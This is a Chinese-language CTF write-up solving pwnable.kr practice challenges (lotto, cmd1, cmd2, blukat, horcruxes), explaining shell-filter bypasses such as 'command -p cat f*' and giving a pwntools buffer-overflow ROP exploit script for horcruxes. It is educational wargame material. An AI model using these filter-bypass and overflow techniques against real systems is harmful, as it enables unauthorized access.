writeup
萌新带你开车上p站(Ⅳ)
2020-04-07 10:39

萌新带你开车上p站(一)

萌新带你开车上p站(二)

萌新带你开车上p站(三)

回顾一下前篇,我们开始新的内容吧

0x12

登录后看源码

pwnable.krToddlr’s Bottle题解412.png

pwnable.krToddlr’s Bottle题解414.png

通读程序,逻辑是这样子的:

输入6个字符,与程序由/dev/urandom随机产生的6个字符对比,通过上图第二个红框的检验,则match自加1,双重for循环结束后如果match=6则打印flag

这里的漏洞在于检验的双重for循环实现时出了问题。

该程序实现的逻辑实际上是对于每个lotto[i]会和输入的每个字符去比较,如果命中则加1

那么我们可以考虑输入的6个字符相同,如果有一个命中,则全部命中。

字符的取值范围知道是在ascii 1-45之间,又我们能输入的只有asci中的可见字符,那满足条件的只有33-45

pwnable.krToddlr’s Bottle题解4277.png

多试几次即可。

pwnable.krToddlr’s Bottle题解4287.png

0x13

cmd1

看看源码

pwnable.krToddlr’s Bottle题解4304.png

在main中可以看到我们输入的参数可以通过调用system执行

但是在传给system执行前,输入的内容会被filter处理

而filter过滤了tmp,flag,sh这些关键字

而且还有一点需要注意的是,我们绕过filter之后,还得注意main中的putenv,它将PATH环境变量设置为了乱七八糟的东西

PATH决定了shell将到哪些目录中寻找命令或程序,PATH的值是一系列目录,当运行一个程序时,Linux在这些目录下进行搜寻编译链接

修改之后意味着我们要使用命令时需要使用绝对路径,比如要想读flag,正常情况下应该是cat flag,但是现在需要/bin/cat flag

综上,绕过

pwnable.krToddlr’s Bottle题解4607.png

这里我们用到了通配符*,使用f*匹配flag文件,从而绕过

cmd2

看源码

111.jpg

可以看到比之cmd1,这里过滤了更多的东西

尤其是\

我们当然还可以使用f*来指代flag

但是\的过滤怎么绕过呢

题目给了提示

pwnable.krToddlr’s Bottle题解41304.png

 

来看看system函数

pwnable.krToddlr’s Bottle题解41318.png

可以看到system()实际上是通过execl实现的

查找sh的man

可以看到

pwnable.krToddlr’s Bottle题解41361.png

使用-p时会可以自动找到path的默认值,而不受程序设置ENV的影响

所以可以考虑使用-p cat,这样就可以自动绕过/

cmd2@ubuntu:~$ ./cmd2 "command -p cat f*"

command -p cat f*

FuN_w1th_5h3ll_v4riabl3s_haha

0x14blukat

看源码

pwnable.krToddlr’s Bottle题解41531.png

从password文件读内容,与我们输入的字符相比,通过比较则打印flag

现在的关键是知道password的内容是什么,我们注意到下图的情况:

pwnable.krToddlr’s Bottle题解41606.png

从上图可以看到我们这个用户所在的组对password是有读权限的,可是cat的时候却是:

pwnable.krToddlr’s Bottle题解41653.png

emmm也就是说password本身的内容就是这个

于是执行二进制文件就得到flag了 

pwnable.krToddlr’s Bottle题解41700.png

0x15 horcruxes

pwnable.krToddlr’s Bottle题解41718.png

没有源码,就给了二进制文件,看来得逆向了

执行后需要输入的地方有两处

pwnable.krToddlr’s Bottle题解41755.png

下载到本地

pwnable.krToddlr’s Bottle题解41763.png

可以看到是32位的

pwnable.krToddlr’s Bottle题解41775.png

上ida

pwnable.krToddlr’s Bottle题解41782.png

main函数

pwnable.krToddlr’s Bottle题解41791.png

ropme

pwnable.krToddlr’s Bottle题解41799.png

红色圈起来的就是我们之前试运行时输入的地方

最下面的else可以看到,当我们的输入和sum值相等时会打印flag

注意到上面有A,B,C,D,E,F,G函数

打开A函数看看

pwnable.krToddlr’s Bottle题解41888.png

B的

pwnable.krToddlr’s Bottle题解41893.png

别的都是一样的

可以看到会返回a,b等

这些参数的赋值操作在init_ABCDEFG

pwnable.krToddlr’s Bottle题解41791.png

可以看到是/dev/urandom产生的随机数配合产生的,而sum的值是综合计算a,b,c等得到的

pwnable.krToddlr’s Bottle题解41938.png

这里的漏洞在于main中的gets(),没有指定buffer,所以可以尝试溢出

我们希望直接通过溢出buffer来覆盖ropme()函数的return地址

pwnable.krToddlr’s Bottle题解42070.png

由上图可知buffer起始地址为ebp-0x74,加上原函数ebp地址的长度4个字节,则buffer起始到ropme()的return一共需要0x74+4=120个字节

那么我们构造的思路就是依次打印A.B,,,,G函数返回的值,将其相加,得到sum的确定值,然后返回ropme,将结果作为输入,即可满足条件得到flag

要作为这一点,我们需要知道

1. padding大小,由前可知,120字节

2. 然后拼接A函数的起始地址,来跳转到A执行,然后拼接B的。。。。以此类推

3. 最后要跳转到ropme(),这里要注意,不能直接凭借ropme的地址,因为该地址如下图所示含有\x0a,会被截断,所以要通过拼接main中调用ropme()时的地址

pwnable.krToddlr’s Bottle题解42387.png

接下来的任务就是找地址了

如图所示一个个找出来并不难,以A为例

pwnable.krToddlr’s Bottle题解42421.png

以及main中调用ropme的

pwnable.krToddlr’s Bottle题解42439.png

综上所述,写出exp:

from pwn import *

context.log_level='debug'

LOCAL = False


if __name__ == '__main__':

    if LOCAL:

        c = process('/home/horcruxes/horcruxes')

    else:

        c = remote('0', 9032)

    msg = c.recvuntil("Menu:")

    c.sendline('1')

    msg = c.recv(512)

    payload = 'A'*0x78

    payload += p32(0x809fe4b)  # address A()

    payload += p32(0x809fe6a)  # address B()

    payload += p32(0x809fe89)  # address C()

    payload += p32(0x809fea8)  # address D()

    payload += p32(0x809fec7)  # address E()

    payload += p32(0x809fee6)  # address F()

    payload += p32(0x809ff05)  # address G()

    payload += p32(0x809fffc)  # address main<call ropme>

    c.sendline(payload)

    sum = 0

    c.recvline()

    for i in range(7):

        s = c.recvline()

        n = int(s.strip('\n').split('+')[1][:-1])

        sum += n

    print "Result: " + str(sum)

    c.recvuntil("Menu:")

    c.sendline("1")

    c.recvuntil(" : ")

    c.sendline(str(sum))

    log.success("Flag: " + c.recvline())

pwnable.krToddlr’s Bottle题解43447.png

未完待续!

实验推荐--逆向破解-CrackMe系列

http://www.hetianlab.com/cour.do?w=1&c=C172.19.104.182016031814360300001

上一篇:BSidesSF 2020 CTF writeup
下一篇:萌新带你开车上p站(完结篇)
版权所有 合天智汇信息技术有限公司 2013-2020 湘ICP备14001562号-6
Copyright © 2013-2020 Heetian Corporation, All rights reserved
4006-123-731